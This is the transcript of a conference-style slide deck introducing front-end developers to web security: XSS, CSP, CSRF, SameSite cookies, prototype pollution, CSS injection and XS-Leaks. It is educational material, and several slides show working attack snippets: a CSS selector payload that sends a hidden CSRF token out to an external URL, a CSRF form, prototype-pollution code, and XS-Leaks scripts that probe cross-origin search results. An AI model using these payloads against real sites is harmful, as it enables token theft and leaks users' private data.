Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Front-end Security that Front-end developers don't know

Huli
September 02, 2022

Front-end Security that Front-end developers don't know

This talk is an introduction to front-end security, including XSS, CSP, CSRF, XSLeaks and so on.

這是我之前去趨勢內部分享的一個講題,主要是有關於前端資訊安全,談到了一些經典的主題像是 XSS, CSP, CSRF 以及 XSLeaks 等等

Huli

September 02, 2022
Tweet

More Decks by Huli

Other Decks in Programming

Transcript

  1. Mitigation 1. URL should start with 
 http:// or https://

    2. Use new URL() to check 
 protocol
  2. Sandboxed iframe allow-downloads allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-scripts allow-popups-to-escape-sandbox

    allow-presentation allow-same-origin allow-top-navigation allow-top-navigation-by-user- activation allow-top-navigation-to-custom- protocols
  3. Real world example HackMD Stored XSS & Bypass CSP with

    Google Tag Manager (GTM + unsafe-eval) https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/ HackMD_XSS_%26_Bypass_CSP.md A Wormable XSS on HackMD! (cdnjs + angular CSTI) https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html
  4. SameSite Cookie Changes in February 2020: What You Need to

    Know https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html
  5. Feature: Cookies default to SameSite=Lax https://chromestatus.com/feature/5088147346030592 Note: Chrome will make

    an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with non-idempotent (e.g. POST) top-level cross-site requests.… Support for this intervention ("Lax + POST") will be removed in the future.
  6. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a"> Cookie:sid=.. < 2min
  7. Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https,

    blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)
  8. Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https,

    blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)
  9. var obj = {} var obj2 = {} // obj.__proto__

    === Object.prototype // => Object.prototype.a = 1 obj['__proto__']['a'] = 1 console.log(obj2.a) // 1
  10. Real world example Exploiting prototype pollution – RCE in Kibana

    (CVE-2019-7609) https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
  11. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] { background: url(//huli.tw?q=a) } </style>
  12. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] { background: url(//huli.tw?q=a) } </style>
  13. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) } </style>
  14. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) } </style>
  15. <form action="/update"> <input name="username"> <input name="password"> <input type="hidden" name="token" value="abc123"

    > </form> <style> form:has( input [name=token] [value^=a]) { background: url(//huli.tw?q=a) } </style>
  16. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })
  17. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })
  18. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.status(404) res.send(user) }) Found => 200 Not Found => 404
  19. Can you exploit the vulnerability? app.get('/search', (req, res) => {

    const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.send(`Redirecting...<script> setTimeout(() => { location = '/result?id=${user.id}' }, 500) </script>`) })
  20. <script> var w = window.open('http://localhost:3000/search?q=1') setTimeout(() => { w.location =

    '/' setTimeout(() => { alert(w.history.length === 3 ? 'Found' : 'Not found') w.close() }, 500) }, 1500) </script>
  21. Can you exploit the vulnerability? app.get('/search', (req, res) => {

    const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.redirect('/result?id='+user.id) })
  22. <script> const attackerUrl = "https://xsinator.com/testcases/ files/maxredirect.php" const url = ‘http://localhost:3000/search?q=a'

    fetch(`${attackerUrl}?n=19&url=${encodeURI(url)}`, { credentials: "include", mode: "no-cors" }).then(() => { console.log('not found') }) .catch(() => { console.log('found') }) </script>
  23. Resources 1. https://github.com/fei3363/Awesome-Taiwan-Security-Course 2. https://github.com/splitline/How-to-Hack-Websites 3. https://xsleaks.dev/ 4. https://xsinator.com/ 5.

    https://portswigger.net/web-security 6. https://book.hacktricks.xyz/pentesting-web/xs-search 7. https://blog.huli.tw 8. https://blog.maple3142.net/
  24. Q&A